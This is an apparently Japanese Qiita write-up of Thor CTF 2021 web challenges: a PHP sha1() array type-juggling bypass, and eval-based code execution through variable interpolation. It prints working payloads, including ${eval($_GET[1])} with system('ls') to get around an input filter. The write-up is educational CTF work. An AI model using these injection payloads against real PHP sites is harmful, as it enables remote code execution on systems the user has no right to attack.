0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Thor CTF 2021

Last updated at Posted at 2021-11-29

Thor 2021 CTF

Webを2問とOSINTを1問解きました。
Web問のwriteupを記載します。

Web

Tricks 1

問題ページ

解法

phpにおけるsha1関数の仕様を確認します。
https://www.php.net/manual/ja/function.sha1.php
戻り値はsha1ハッシュを文字列で返す。と記載があります。
そのまんまですね。
次に、文字列以外、例えば配列をsha1関数に渡すとどうなるかを試してみます。

<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo sha1($ex);
?>

上記コードの実行結果:

array

sha1関数の戻り値がないですね。
データ型を確認します。

<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo gettype(sha1($ex));
?>
arrayNULL

NULLが返ってきました。
ここでは検証しませんが、md5も同様でした。

配列を送ればFlagを獲得できそうです。


Flagゲット!

Phpbaby

問題
ルートディレクトリにあるFlagを獲得せよ
※問題文が読めなくなってしまったので本当の問題文は違いますが、ニュアンスは同じです。

問題ページ

解法

HTMLソースを確認します。

<!-- Access To Source Code Is Not Allowed! -->

<!DOCTYPE html>
<html>
<head>
	<title>lettercrap.js demo</title>
	<script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script src='lettercrap.js'></script>
	<link rel='stylesheet' href='lettercrap.css'/>
	<style>
	body {
		text-align: center;
		font-family: sans-serif;
	}
	p {
		max-width: 60%;
		margin: auto;
	}
	[data-letter-crap] {
		margin: auto;
		margin-top: 3em;
		margin-bottom: 5em;
	}
	</style>
</head>
<body>

	<div data-letter-crap='SBCTF.png' data-lettercrap-words='CTF PHP eval robots' style='width: 70%' data-lettercrap-aspect-ratio='0.3'></div>
</body>
</html>

eval,robotsなどの単語を見つけることが出来ます。
これがヒントでした。
robots.txtを確認してみます。

user-agent: *
disallow: /Source_Code_Backup

/Source_Code_Backupにアクセスすると、ソースコードの一部を確認できます。

<!--
// Source Code Backup:
$SBCTF=@(string)$_GET['SBCTF'];
filter($boycott, $SBCTF);
eval('$SBCTF="'.addslashes($SBCTF).'";');
-->

evalを利用してsystemコマンドを呼び出せればFlagを獲得できそうです。

変数展開を利用すれば任意の関数を実行が出来ると考え、以下のコードを入力してみます。

SBCTF=${phpinfo()}

上手く表示することが出来ました。

続けてsystem関数の実行を試みます。

怒られました。どうやらfilterにはじかれたみたいです。
このfilterでは$SBCTFの値しか確認していないようなので、以下のコードで、system関数の実行を試みます。

evalで括っているのは、$_GETの変数展開がうまくいかなかったからです。evalで括ることで変数として認識されました。

SBCTF=${eval($_GET[1])}&1=system('ls'); 

上手くいきました。
ルートディレクトリを見に行くとFlagがありました。

参考:
https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/php

感想

解いたWeb問はphpの知識を問うような問題になっており、
解く過程でphpが扱う関数への理解を深めることが出来ました。
また、調査するにあたり、PaizaCloudが非常に便利でした。
簡単に環境を用意できるのはありがたいですね。。。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?